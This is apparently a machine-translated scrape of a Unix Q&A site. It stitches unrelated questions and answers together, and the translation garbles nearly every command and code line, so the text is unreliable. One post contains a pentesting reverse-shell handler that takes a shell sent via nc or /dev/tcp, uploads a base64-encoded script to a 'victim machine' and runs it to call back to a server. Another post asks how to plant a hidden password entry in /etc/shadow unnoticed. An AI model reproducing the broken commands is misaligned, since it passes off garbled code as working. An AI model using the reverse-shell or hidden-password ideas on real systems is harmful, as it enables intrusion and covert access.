Проблемы с ARIA2C и обычная проверка подлинности с wget работает

У меня возникли некоторые проблемы с получением aria2c работа с базовой HTTP аутентификации. С wget прекрасно работает, но я хотел бы использовать Ариас многопоточных возможностей

!!ссылку!! = https://www.site.com/directory/name

Команда, которая работает через wget:

команды wget --user=имя_пользователя --password=пароль 123password# !!ссылку!!/file.txt

Команда, которая не работает в aria2c:

aria2c --журнал=arialog уровень --http-user=имя_пользователя --http из файла passwd=123password# - проверить-сертификат=ложь !!ссылку!!/file.txt

Полученные ошибки

-> [HttpSkipResponseCommand.чч:207] код ошибки=24 авторизация не удалась.

В журнале, ответ от сервера:

Протокол HTTP/1.1 401 несанкционированного
Дата: пятница, 22 августа 2014 01:40:55 мск
Сервер: Apache/2.4.7 (Ubuntu С)
На www-аутентификации: дайджест каталог царство="", элемент "nonce" ="ZI2m7S0BBQA=07cfdbd25e8bab3d41ad643d0a6d0fb98ecef695", алгоритм=алгоритм MD5, домен="в/var/www в/каталог/ http://www.site.com/directory", Квопа="авт"
Содержимое-тип: текст/HTML; кодировка=кодировка ISO-8859-1

Отчет по протоколу SSL Labs на мой домен, отчитывается в порядке и мне не становится и проблемы доверия в любом другом продукте.

Любая помощь будет высоко ценится!

+818
Srinivas Kollipara 7 дек. 2015 г., 05:39:54
31 ответов

Это обрабатывается запускаемые программы, которая запускается по умолчанию хрон.ежедневный и т. д. вакансии на Fedora.

Если это корневой задание, вы можете либо добавить его в файл/etc/cron-а.ежедневно или в/etc/anacrontab.

+939
gertas 03 февр. '09 в 4:24

enter image description here

Поэтому я пытаюсь создать клиент-серверная модель оболочки для pentesting. Источник может быть найден здесь https://github.com/DotNetRussell/ShinobiShell/blob/master/ShinobiShell.py

До этого момента, это был один и тот же файл скрипта в двух разных контекстах. Первый контекст-это сервер не обрабатывает входящие соединения, и второй контекст-это клиент, который подключается к серверу. Это все работает.

Я бы хотел добавить третий контекст. Обратный раковины обработчик, где я могу запустить слушателя на одну машину и отправить ее на bash или SH Шелл с НК или в/dev/TCP с

Как только соединение будет установлено, копия скрипт загружается на машину жертвы, и работать как с обычными. До этого момента все работает.

Когда он вышел из строя после запуска скрипта из моего слушателя, он не отображается никаких выходных данных из скрипта запуска на компьютере жертвы.

Прямо сейчас, код зависает на второй до последней строки


если(параметр args["Автозагрузка"]):
 порт = raw_input("какой порт слушать: ")
 адрес_сервера = raw_input("по какому адресу ShinobiServer:комбинированный порт: ")

 serversocket = сокет.гнезда(сокета.Равен af_inet, гнездо.Тип)
 serversocket.привязать(('0.0.0.0', инт(порт)))
 serversocket.слушать(1) 
 связи адрес = serversocket.принимаем()
 связи.отправить ('\x0a whoami')
 ответ = соединение.вызовов recv(1024)
 Print("у текущего пользователя:" + ответ)
 если(Лэн(ответ) > 0):
 печати("открытие исходного файла:" + сис.аргумент argv[0])
 shinobiShellSource = открыть(представление sys.аргумент argv[0]).readlines()
 печати("продолжительность исходный файл:" сил + (Лэн(shinobiShellSource)))
 связи.отправить (диск в /tmp; инвалидов; \x0a')
 печати("текущий каталог:" + подключение.вызовов recv(1024))
 для линии в shinobiShellSource:
 encodedLine = в base64.b64encode(линия)
 связи.отправить('Эхо' + encodedLine + '| в base64 -д >> tempShinobiShell.py \x0a')

 печать('нагрузку...')
 связи.отправить (которым на Python \x0a')
 pythonPath = соединение.вызовов recv(1024).полосы()
 печать('начиная раковины')
 связи.отправить(pythonPath + "tempShinobiShell.py -х" + адрес_сервера +" \x0a")
 печать('Шелл начали!')
 связи.отправить ('\x0a whoami')
печати(подключение.вызовов recv(1024))
 печать('соединение разорвано')

Я уверен, что это связано с тем, как Python-скрипт обрабатывает выходной, потому что я могу взаимодействовать с командной оболочкой bash просто отлично. Это только когда мой скрипт начинает работать, что я перестала получать на выходе из машины жертвы.

Так что мой вопрос, это мое предположение правильно, что это путь в Python-скрипт на компьютере жертвы обработки документов и если да, то есть способ это исправить.

+937
Grzegorz Oledzki 24 дек. 2019 г., 08:49:47
Другие ответы

Связанные вопросы


Похожие вопросы

протокол SFTP -в-oProxyCommand="ЧПУ -в PROXY_IP_HERE PROXY_PORT_HERE %ч %р" [email protected]_sftp_server.com 22

Как я могу сделать это, если я не установлен с netcat? У меня нет разрешения, чтобы установить его, даже в мой домашний каталог. Нет tsocks/нужна соксификация либо.

+900
aaron sacker 12 окт. 2011 г., 03:19:22

Мне кажется, вы путаете две совершенно разные и независимые понятия.

В large_file функции, которые вы можете видеть в выводе dumpe2fs означает, что эта файловая система может содержать файлы размером больше 2 Гб, я думаю, что это устанавливается автоматически с современными ядрами. Это не имеет ничего общего с вариант mke2fs.

+865
Debby Kastner 19 дек. 2010 г., 02:20:26

Ваш атом.список репозиторий разбит... чтобы восстановить возможность запуска АПТ, переместите его в сторону:

МВ /и т. д./кв/источников.список.д/атом.{список,разбитый}

Если вы не планируете исправить это, вы можете удалить его:

РМ /и т. д./кв/источников.список.д/атом.список

Как уже упоминалось, Калі не очень подходит для начинающих; вы могли бы сделать лучше сначала с другого дистрибутива. Посмотрим, почему Кали Linux так сложно установить? Почему люди не хотят помочь мне? для получения подробной информации.

+864
Helder Robalo 24 окт. 2016 г., 21:00:19

Сегодня моя система разбился с:

24 фев 20:07:34 ядро: [46929872.935456] [<ffffffff81141073>] ? out_of_memory+0x473/0x4b0

Но мне удалось все-таки войти в ТС и открыть верхнюю, многие наработки разбился и отказались, но в топе только 50% моей памяти было помечено как "используется" и еще 50% памяти был отмечен как "кэшированные мэм".

Я всегда думал, что кэш-памяти используется для кэширования файлов для сокращения записи/чтения с диска, а когда программа должна выделить больше памяти, некоторые файлы удаляются из кэша и используется для выполнения программ. Но, видимо, это не так, потому что 50% моего общего объема памяти используется для кэширования и системы все-таки разбился, а надо просто отказаться от некоторых кэша.

Может кто-нибудь дать мне некоторые более глубокие объяснения того, как кэшированные работает память ? Спасибо.

+860
Gagik Sargsyan 19 апр. 2019 г., 01:47:49

Следующим https://wiki.archlinux.org/index.php/Power_management#Hooks_in_/usr/lib/systemd/system-sleepя добавляю скрипт в systemd в сон крюк с оформлением разрешения (я вручную создал файл/usr/lib в/systemd в/систему-сон/ которой не существует по умолчанию):

$ LS в каталоге /usr/lib в/systemd в/систему-сон/ -л
итого 4
-rwxr-XR-х 1 корень 322 2 декабря 19:28 systemd_suspend_cpu_freq.sh

содержание которых

#!/Бен/ш

дело "$1/$2" в
пост/*)
 Эхо "systemd_suspend крючком" >>/tmp/и мой_журнал
;;
эсок

Я сначала приостановить мой переходный 18.04, по

$ systemctl приостановить 
Сайт testme пользователь вошел в систему на seat0.
Сайт testme пользователь вошел в систему на твердотельные накопители.
Сайт testme пользователь вошел в систему на seat0.
Сайт testme пользователь вошел в систему на seat0.
Пожалуйста, повторных операциях после закрытия ингибиторы и выход других пользователей.
Кроме того, игнорировать ингибиторы и пользователи с 'systemctl приостанавливает -я.
$ systemctl приостановить -я
$

Потом я просыпаюсь, и я не нахожу ничего в /tmp/и мой_журнал должен быть написан мой сценарий, а также

$ journalctl -б -у добавлена приостановить.услуги

-- Журналы начаться в пн 2018-11-12 13:25:27 есть, заканчиваться на Солнце 2018-12-02 19:30:04 оценка. --
02 декабря 18:38:05 systemd в океане[1]: начиная приостановить...
02 декабря 18:38:05 добавлена сна океан[17888]: Суспендируя системе...
02 декабря 18:51:16 systemd в океане[1]: начали приостанавливать.
02 декабря 19:29:30 systemd в океане[1]: начиная приостановить...
02 декабря 19:29:30 добавлена сна океан[20436]: Суспендируя системе...
02 декабря 19:29:42 добавлена спать океане[20436]: каталог /dev/ПДД:
02 декабря 19:29:42 systemd в океане-сон[20436]: установка расширенного управления питанием уровень кодами 0xfe (254)
02 декабря 19:29:42 добавлена спать океане[20436]: APM_level = 254
02 декабря 19:29:35 systemd в океане-сон[20436]: система возобновлено.
02 декабря 19:29:42 systemd в океане[1]: начали приостанавливать.

Мне было интересно, почему мой скрипт не выполняется, когда проснувшись от подвески?

Спасибо.


Обновление

Следующие предложения в комментарии не делаем крючок выполнить после пробуждения:

  • команды mkdir /дом/Т/никакое сжатие; команду chmod 777 /дом/Т/никакое сжатие
  • перенаправление на /дом/Т/никакое сжатие/мой_журнал в скрипте (файл не был создан под /дом/Т/никакое сжатие/)
+836
Frug 28 авг. 2018 г., 07:25:58

В моей папке "Загрузки", когда я запускаю ЛС я вижу в домашний каталог, и я не знаю, почему, я хочу, чтобы удалить его, но я боюсь удалить мою домашнюю папку. Может кто-нибудь сказать мне, как я могу просто удалить домашний каталог в папку Загрузки и сохранить его в корневой папке ?

здесь вы можете увидеть картинку того, что я получаю, когда я запускаю Общ командной В загрузки каталога:

enter image description here

когда я выполните команду:ls-ла - это то, что я получаю:

-РВ------- 1 корень 1024 28 ноября 20:24 ~

+798
intelman 14 нояб. 2010 г., 06:22:05

Простите, если это уже ответил. Пожалуйста, укажите мне на соответствующий пост.

Я пытаюсь использовать lpoptions, чтобы установить режим печати по умолчанию для Б/У. отлично работает, когда я использовать веб-интерфейс, но lpoptions, кажется, не имеют никакого эффекта.

Мой принтер сетевой HP продуктов (и по умолчанию) и когда я делаю (как root)

lpoptions -л

Я получаю список, который включает в себя

Режим PrintoutMode/Распечатка: Проект Проект.Серый *Нормально.Серые Высокие.Серый
Разрешение/качество, качество, тип чернил, тип носителя: *FromPrintoutMode 150BestColorCMYK 150ColorCMYK 150DraftColorCMYK 150DraftGrayscaleK 150GrayscaleK 300BestColorCMYK 300ColorCMYK 300GrayscaleK 600BestColorCMYK 600GrayscaleK

Поэтому я ожидаю, что когда я делаю

lpoptions -о PrintoutMode=проект.Серый

цветовой режим по умолчанию должен быть "проект-серый". (Да, у меня тоже перезапустить службу чашек, в случае, что имело значение.) Однако, когда я открываю приложение и выполните файл->печать и проверить параметры, это еще и говорит "цвет".

Когда я делаю то же сменить через веб-интерфейс я вижу сразу изменения. Что я упускаю? Пожалуйста.

+789
Tundral 1 июн. 2017 г., 02:46:04

Мне нужно написать регулярное выражение, используя СЭД , таких, что каждая строка, первый непустой символ-это либо + или - должен быть расторгнут в пространстве и \\. Например строку, которая выглядит как:

 -у -\hspace{.01cm}-отменить имя

должен превратиться в:

 -у -\hspace{.01cm}-отключенное имя \\

Я пытался сделать:

/^[ ]- с/$/ \\\\/г 

но это не работает. Как я могу это сделать?

+761
Patrick Cross 24 апр. 2016 г., 05:44:43

Действительно, .bashrc и не правильно. Этот файл читается, когда вы открываете терминал работает под управлением интерактивной оболочки (если в вашем оболочку Bash).

Вы можете проанализировать sshfs монтирование во время загрузки, но это работает только если вам не нужно любой интерактивной аутентификации: в большинстве установок это означает, что ключ без пароля. (Есть и другие способы, но они применяются только в доверенной сети, где вы, как правило, уже бы что-то вроде NFS.)

  • Если вы корень, вы можете добавить запись в файл/etc/fstab строчку. Обратите внимание, что это будет использовать пользователя root ~/.СШ искать ключи и известных хозяев.

    пример.сом:/дистанционного/путь /крепление/точка предохранителей.sshfs опция idmap=пользователь с uid=1234
    
  • Вы можете поставить @перезагрузки кронтаб запись.

    @перезагрузки sshfs -о опция idmap=пользователя.сом:/дистанционного/путь /крепление/точка
    

Если вам нужно ввести пароль, чтобы отправить на удаленный сервер, вы должны войти в систему и иметь пользовательский интерфейс доступен первый. То же самое, если вам нужно ввести пароль для разблокировки ключа.

Большинство оконных менеджеров и настольных сред позволяют запускать пользовательские команды при входе в систему. Вы можете запустить фрагмент вроде следующего (если исходить из вашей среды уже начинается агента СШ — большинство делают в эти дни):

SSH_ASKPASS=СШ-askpass СШ-добавить ~/.по SSH/id_rsa
крепление | команда grep ' /гора/пунктов ||
sshfs -о опция idmap=пример пользователей.сом:/дистанционного/путь /крепление/точка

крепление | команда grep ' /гора/пунктов || проверяет, является ли файловая система, кажется, быть установлен уже, в случае, если вы войти в систему через несколько средств. Кроме того, без использования агентов:

крепление | команда grep ' /гора/пунктов ||
SSH_ASKPASS=по SSH-askpass sshfs -о опция idmap=пример пользователей.сом:/дистанционного/путь /крепление/точка

Если у вас нет программы SSH-askpass программы, другой способ это открыть терминал просто сделать монтаж:

в xterm -е 'СШ-добавить ~/.по SSH/id_rsa'
крепление | команда grep ' /гора/пунктов ||
sshfs -о опция idmap=пример пользователей.сом:/дистанционного/путь /крепление/точка

Для текстового режима входа в систему, поставить СШ-добавьте в ваш ~/.профиль. Запустить его, только если оболочка является интерактивной.

случай $- в
*я*)
 СШ-добавить ~/.по SSH/id_rsa
;;
эсок
sshfs -о опция idmap=пример пользователей.сом:/дистанционного/путь /крепление/точка
+733
Needa M 5 окт. 2012 г., 08:03:38

Команда

найти ~ -параметр maxdepth 2 -mindepth 2

не есть ли другое решение?

Хм хорошо, я получил решение:

найти ~ -параметр maxdepth 1 -ссылки 4 -тип D

Ты для тех, кто пытался решить

+696
ecerulm 16 янв. 2015 г., 10:21:21

Что предназначено. Пробелы не изменять интерпретацию команды. Команда игнорирует историю, начинающуюся с пробела, так что вы можете вводить команды, которые вы не хотите регистрироваться. Теперь очень безопасный, как кто-то на одной машине, может шпионить, когда вы делаете это.

Я думаю, что это может быть перенастроен. Увидеть Баш-механическая, согласно истории.

+690
Moazzam Tahir 12 июл. 2011 г., 23:04:13

Файлы в/proc нет размер файла в целом, и показаны, как имеющие 0 размер в ЛС-л, но вы можете считывать данные из них в любом случае (см. человек 5 тр).

Попробовать, например:

zcat выступает /proc/config.gz | туалет

или:

$ ЛС-л /тр/командной строки
-р--р--р-- 1 корень 0 4 августа 10:16 в /proc/командной строки

Выглядит пустым. Но:

$ кот /труды/командной строки | туалет
 1 5 114

он содержит данные. Давайте посмотрим:

$ кот /труды/командной строки
BOOT_IMAGE=в/boot/vmlinuz-3.13.0-24-родовой корень=идентификатор UUID=fc48808f-8f06-47fc-a1fe-5d08ee9e0a50 РО noirqdebug nomodeset

выглядит как обычный файл - если вы хотите делать что-то особенное, как чтение блоками, искать(), или смотрим на размер.


В случае, если вы можете не читать /proc/config.gzесть файл, который, как правило, содержит те же:

меньше /библиотека/модули/$(uname-Р)/дизайн/.конфиг

Видеть человека учеб для деталей.

+648
Maciekk Idzikk 21 окт. 2014 г., 08:47:41

Скрипт ниже работает в bash, но не в ЗШ. Я думаю, это потому, что в переменной ОПЦ, я "расширяется" (не уверен, если это правильное слово) переменная $исключают, и этот синтаксис не работает в ЗШ. Как бы мне заменить эту строку, чтобы заставить его работать на ЗШ?

В src="/path_to_source"
ДСТ="/path_to_dest"
Исключить=".НД" 
ОПЦ="-АВР --удалить --прогресс --исключить=${исключение} - удалить-основе" 

по rsync $ОПЦ $src и $ДСТ 
+559
Dieseltime 12 янв. 2013 г., 01:03:40

Я делала пробы в попытке понять, что происходит под капотом программы. Я написал небольшую программу на C, и скомпилировал его на i386 Линукс (Ubuntu 12.04), используя ССЗ. Я тогда сделал шестнадцатеричного представления -С на вывод в текстовый файл. Я заметил, что там были некоторые пробелы на смещение с *:

00000670 00 3Ф 1А 3б 2а 32 24 22 1С 00 00 00 40 00 00 00 |.?.;*2$"[email protected]|
00000680 94 ФД ФФ ФФ 05 01 00 00 00 41 0е 08 85 02 42 0d с|.........А....Б.|
00000690 05 03 01 01 С5 0С 04 04 38 00 00 00 60 00 00 00 |........8...`...|
000006a0 80 Фе ФФ ФФ 61 00 00 00 00 41 0е 08 85 02 41 0е |....а....А....А.|
000006b0 0С 87 03 41 04 41 0е 0е 10 86 14 83 05 4Э 0е 30 |...в....А....Н. 0|
000006c0 02 14 10 41 4а 0е 0е 0е 0е 08 41 С3 41 0С С6 С7 |.Ж..А...А...А...|
000006d0 41 0е 04 С5 10 00 00 00 00 00 00 9С В4 Фе ФФ ФФ |а...............|
000006e0 02 00 00 00 00 00 00 00 10 00 00 00 В0 00 00 00 |................|
000006f0 А2 Фе ФФ ФФ 04 00 00 00 00 00 00 00 00 00 00 00 |................|
00000700 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000f10 00 00 00 00 ФФ ФФ ФФ ФФ ФФ ФФ ФФ ФФ 00 00 00 00|................|
00000f20 00 00 00 00 00 00 00 00 01 00 00 00 10 00 00 00 |................|
00000f30 0С 00 00 00 0d с Д4 82 04 08 00 00 00 чч 85 04 08 |................|
00000f40 Ф5 ФФ 6Ф Фе переменного тока 81 04 08 05 00 00 00 2С 82 04 08 |...О........,...|
00000f50 06 00 00 00 чч 81 04 08 0а 00 00 00 54 00 00 00 |............Т...|
00000f60 0В 00 00 00 10 00 00 00 15 00 00 00 00 00 00 00 |................|
00000f70 03 00 00 00 Ф4 9ф 04 08 02 00 00 00 20 00 00 00 |............ ...|
00000f80 14 00 00 00 11 00 00 00 17 00 00 00 В4 82 04 08 |................|
00000f90 11 00 00 00 переменного тока 82 04 08 12 00 00 00 08 00 00 00 |................|
00000fa0 13 00 00 00 08 00 00 00 Фе ФФ ФФ 6Ф 8С 82 04 08 |...........о....|
00000fb0 ФФ ФФ ФФ 6Ф 01 00 00 00 ф0 ФФ ФФ 6Ф 80 82 04 08 |но..........о....|
00000fc0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000ff0 00 00 00 00 28 9ф 04 08 00 00 00 00 00 00 00 00 |....(...........|
04 08 36 83 04 08 46 83 04 08 56 83 04 08 |&...6...Ф...В 00001000 26 83 ...|
00001010 00 00 00 00 00 00 00 00 47 43 43 3а 20 28 55 62 |........ССЗ: (УБ|
00001020 75 6е 74 75 2Ф 4С 69 6е 6е 61 72 20 34 36 2е 2е |untu/организацией Linaro 4.6.|
00001030 в 2D 33 31 75 62 75 6е 74 75 35 29 20 34 36 2е 2е |3-1ubuntu5) 4.6.|
73 79 6д 74 61 62 00001040 33 00 00 2е 00 2е 73 74 72 74 |3...symtab..стрт|
00001050 61 62 00 2е 73 68 73 74 72 74 61 62 69 00 2е 6е |АБ..shstrtab..в|
00001060 74 65 72 70 00 2е 6е 6е 74 65 2е 41 42 49 2Д 74 |Терп..Примечание.Аби-Т|
00001070 61 67 00 2е 6е 6е 6е 2е 2е 74 65 67 75 62 75 69 |АГ..Примечание.гну.Виен|
00001080 6С 64 2Д 69 64 67 75 00 2е 6е 2е 68 61 73 68 00 |ЛД-ид..от GNU.хеш.|
00001090 2е 64 79 79 6д 6е 73 00 2е 64 79 6е 73 74 72 00 |.dynsym..dynstr.|

На мой вопрос, как я должен интерпретировать *? Я предполагаю, что это означает, что есть пробел в файл, но тогда вопрос получается, почему же существует разрыв? Это стандартный формат файла эльфийка?

+485
Zommuter 13 мая 2014 г., 04:30:25

Вы можете загружать на одного пользователя и вносить изменения в домашний каталог.

  1. Перезагружается моя система, и во жратвы изменить строку нажатием клавиши е
  2. В linux16 линии снят точный список & достаточно вариантов и поставить на их размещен init=/Бен/Баш.
  3. При нажатии клавиш Ctrl+х , чтобы начать. Это Промт на консоль bash.
  4. Перемонтировать / с чтение/запись параметров, выдавая горы -о перемонтировать,РАО /
  5. После этого вы можете отредактировать ваш /домашний каталог, переименовать его и т. д.
  6. После того, как работа сделана переразметка состав путем выдачи сенсорный /.autorelabel
  7. Наконец, выполнить старпома на /sbin/инициализации для начала загрузиться в обычном режиме.

@sourcejedi: спасибо за ваш ответ.

+482
Isaiah Micheal Ford 16 мая 2013 г., 20:54:02

Я хочу собрать информацию EDID монитора. Я могу получить его из файла xorg.0.лог - файл, когда я запускаю х с -logverbose вариант.

Но проблема в том, что если я переключаю монитор (отключите монитор тока и затем подключите другой монитор), то нет способа получить эту информацию.

Есть ли способ, чтобы получить динамически в EDID (во время выполнения)? Или любая утилита, которая сообщит мне, как только монитор подключен и отключен?

Я использую ОРС-6.4.

+460
Katrin1 22 июн. 2015 г., 11:17:46

Приложения GNOME откладывает обновления, которые не "важно" на неделю. Это помогает избежать подавляющего пользователей на Fedora в частности.

Федора знаки обновления безопасности исправления специально. (Debian и Ubuntu можно справиться, поставив обновления безопасности в отдельном РЕПО).

А насчет интернета, программного обеспечения из сторонних репозиториев? Лично я думаю популярного РЕПО Google-хром и rpmfusion (для носителей программного обеспечения).

Это Google удосужившись задать эти мелкие детали во всех дистрибутивах Linux они поддерживают? Это rpmfusion пакеты я смотрю с историей изменений, как обновление 3.0.0 - снимок 20160614, действительно рассматривая изменение для исправления и маркировки соответствующие обновления?

если (has_important_updates (приложения) ||
 no_updates_for_a_week (монитор)) {
 notify_offline_update_available (монитор);
}
+440
MiMintzer 3 сент. 2013 г., 22:43:43

В этом случае, вы можете полностью обойти вопрос со ссылкой на прохождения сценария sed на стандартный ввод. СШ маршруты местный стандартный ввод в удаленную процесс, судо просто оставляет ее открытой, и sed может прочитать скрипт вывод. Вы можете передавать контент для ввода в документ.

для меня-кошачий хозяев; делать
 СШ "$я" 'судо СЭД -Ф - ...' <<'ВФ'
с/( upload_server = ).*/\1("$а", 10051)/г
ВФ
сделано

В целом, можно передать фрагмент оболочки вывод через SSH, не беспокоясь о цитировании, как долго, как вы не надо также передавать данные на стандартный ввод.

для меня-кошачий хозяев; делать
 СШ "$я" судо ш <<'ВФ'
СЭД 'с/( upload_server = ).*/\1("$а", 10051)/г' ...
ВФ
сделано

Не понятно из вашего вопроса, являетесь ли вы намеревались вставить "$а" в файле конфигурации, или "что-то" , где значение переменной а в местном Shell-Это что-то. Если вы хотите обратиться к локальной переменной, а затем использовать вот документ с интерполяцией, и защитить $\` в здесь документ с обратным Слэшем. Обратите внимание, что из-за разбора по СЭД и удаленного оболочки во втором фрагменте, значение переменной не должно содержать символы \/' или символом новой строки.

 СШ "$я" судо ш <<ВФ
СЭД 'с/( upload_server = ).*/\\1("$а", 10051)/г' ...
ВФ
+436
AlexanderVX 14 авг. 2012 г., 21:55:23

Я предполагаю, что это обычный раздел (ПК БИОС или GPT).

  1. Вы действительно должны сделать резервную копию таблицы разделов (например, с sfdisk -д /Дев/СДА или расстались /разработчика/ПДД "блок с" печатью)

  2. Вы должны убедиться, что есть свободное пространство за перегородкой.

  3. Если вы не имеете инструмент, который позволяет расширить раздел напрямую, то вы должны удалить раздел и создать заново в том же секторе, но с большим размером.

  4. После того, как вы расширили раздел, запустить resize2fs /dev и/xvdb1 расширить файловую систему, чтобы охватить весь раздел.

+389
user61589 20 мар. 2019 г., 20:17:40

Поглазеть - это довольно простая для такого рода вещи, но хорошо, вы можете также использовать отрезок:

сравнению с XInput --список --короткая|грэп "раб указатель" | "вырезать" - Ф 1

Это будет также включать ведущих космических и персонажей. Если вам нужно избавиться от них, попробуйте это:

сравнению с XInput --список --короткая|грэп "раб указатель" | "вырезать" - Ф 1 | вырезать -Д" " -Ф 5-
+379
ghaering 7 окт. 2010 г., 09:33:01

С моей Xubuntu в 12 с Xfce я настроил стандартный 80x24 размер окна для моих терминалов. Но открыв окно результатов в окне меньшего размера 79x24. (Для меня это выглядит как баг - по крайней мере, мой бывший системой Xubuntu в не показывают, что поведение, но в случае, если я что-то пропустил я приветствую указатели.)

Что я могу сделать, чтобы размер окна я настроил через мой профиль?

Дополнительная информация (в случае, если это имеет значение): некоторые дополнительные конфигурации для терминалов Windows я сделал это; активация вертикальной прокрутки, изменения размера шрифта на более крупный шрифт, и с помощью полужирного шрифта. (Я думаю, что ничего из этого не должно приводить к снижению заданного размера, который определяется в единицах для отображения символов, или мне так кажется.) И я тоже уже посмотрел в конфигурационный файл ~/.конфиг/терминал/terminalrc (как было предложено в другой СЕ вопрос), но есть и просто вещи, видно, что я настроен с помощью графического интерфейса, а конкретно 80x24 установка.)

(В случае, если это ошибка, Я также приветствую советы для альтернативы.)

Редактировать: мой текущий метод предназначен для определения в GUI контекстного меню размер 81x24, чтобы получить нужный терминал 80x24. (Таким образом, значения в профиле предпочтения, очевидно, считать, просто не правильно рассчитал.)

+347
shindigo 22 авг. 2015 г., 04:19:30

мы имеем виртуальную машину Linux красная шапка 7.2 версия с двумя интерфейсы LAN

на машинах с Linux губят на ESXi - 5.5.0

и мы имеем очень странный вопрос ,

конфликт между командой ifconfig в справочной поисковой команде!

почему результаты от справочной не указывает на проблему падения в eth1

а из ifconfig я вам указывает на то, что существует проблема падения в eth1?

( см. команду ifconfig - увеличение числа на за указывает на падение ошибка )

 # справочной -с eth1 и | грэп -я капля
 ДРВ за ТХ всего: 0
 ДРВ за ТХ всего: 0
 ДРВ за ГХ всего: 0
 ДРВ за ГХ всего: 0

команду ifconfig результаты в eth1:

 # команду ifconfig -а | грэп ГХ | грэп за
 Ошибки ГХ 0 за перерасход 123136 0 рамы 0
 Ошибки ГХ 0 за перерасход 140938047 0 рамы 0
 Ошибки ГХ 0 за 0 перерасход 0 рамы 0

 # команду ifconfig -а | грэп ГХ | грэп за
 Ошибки ГХ 0 за перерасход 123136 0 рамы 0
 ГХ ошибок 0 за 140938083 перерасход 0 кадр 0 <-------------- после Второй
 Ошибки ГХ 0 за 0 перерасход 0 рамы 0

второй - это правда, кроме результатов справочной как реальные результаты хотя результаты с помощью ifconfig на самом деле инст указать на проблему?

замечание - проблема опущение отображаются только на Linux версии 7.X, а не на других Linux версии 6.х или 5.х

+255
yW0K5o 9 мая 2018 г., 10:58:24
Вопросы о План 9-распределенной операционной системы, изначально разработанной в лабораториях Белла в период с середины 1980-х годов и 2002 годах. План 9 принимает некоторые принципы системы Unix, разработанной в той же самой исследовательской группы, но расширяет их в сетевой среде с графическими терминалами.
+253
smallins 21 авг. 2016 г., 17:31:07

Правильный инструмент для этой работы является НЛ:

НЛ -Да2 -с' файл'>' 

Возможно, вы захотите настроиться Втidth вариант по общему количеству строк в файле (если вы хотите, чтобы цифры были выровнены хорошо).

Выход:

 1> ПСС-а (основной)
 2> ПСС-Б (первичный Б)
 3> ПСС-с (первичная с)
 4> ПСС-Д (первичная Д)
 5> ПСС-е (е)
 6> ПСС-Ф (основная F)
 7> ПСС-г (дошкольное г)
 8> ПСС-ч (первичного ч)
 9> ПСС-я (первичные я)
10> СВОБОДНОЕ (СВОБОДНОЕ)
+242
Tara Lee 16 февр. 2017 г., 17:18:32

В ответ на создание системного раздела EFI (ЭСП):

(Вполне вероятно, хотя, что сам установочный диск должен загружаться в режиме EFI, тоже в противном случае это не будет беспокоить настройка загрузки UEFI... на самом деле, определенных части установки не может даже быть сделано из режима BIOS.)

Как вы загрузке с установочного диска в режиме EFI? Предполагая USB флэш-флэш-накопитель для установки.

В контексте двойной загрузки с Windows 10.

Обратите внимание, что, как я прочитал вопрос, ЭСП был неисправен и был вопрос, Как восстановить или восстановить его. Это не надо читать вопрос, это так много для моих ссылок.

+235
user76344 2 янв. 2018 г., 13:54:15

Скобки явно указывают на начало и конец синтаксис параметра, в противном случае, нет никакой разницы. Это делает определенные заявления однозначными, например:

не $ Foo=бар
$ Эхо "$fooa" # это не $Foo + A, или $fooa?

$ Эхо "${фу}а"
бара
+228
Nilz 6 июл. 2012 г., 21:43:27

Мне нужно поставить один символ в файл пароль, так что никто не может заметить. Я думал, что если я был в состоянии поставить пароль в виде обычного текста и что-то положить, как пространство никто никогда не узнает. Но я не знаю, как обычный текст в файле /etc/passwd или файл /etc/тень. Есть ли способ, чтобы поместить только один символ или очень короткую строку в там, так что если кто-то открывает этот файл даже не замечает, что, например, мошки и пароль.

Пример:

мошки: :16273:0:99999:7:::

Или

мошки:8:16273:0:99999:7:::
+164
G32RW 19 сент. 2012 г., 22:54:45

На моей системе Ubuntu/Баш:

ТМ1=А; ТМ2=Б
снятие ТМ<ESC>и<*>
 => установлено ТМ1 ТМ2 (расширяется в командной строке) 
+162
daaxix 15 окт. 2012 г., 07:35:17

Активировать КШ расширенные подстановочные шаблоны с помощью команды shopt -с extglob (вы можете поместить это в ваш ~/.bashrc с). Затем шаблон !(*.с) соответствует все файлы в текущем каталоге, кроме тех, которые соответствуют *.с:

РМ !(*.с)

Это довольно опасно, так как он удаляет .тхт файлы файлы и т. д. Быть менее радикальные команда

РМ !(*.*) *.о

Это все равно удаляет файл README, файле Makefileи т. д. Возможно, вам стоит только удалить исполняемые файлы:

найти . -тип D -чернослив -о-тип F -Пермь -100 -экзек РМ {} +

Короче, если найти его поддерживает:

найти . -параметр maxdepth 1 -тип F -Пермь -100 -удалить
+115
Evgeny Liskovets 3 февр. 2018 г., 11:06:01

Показать вопросы с тегом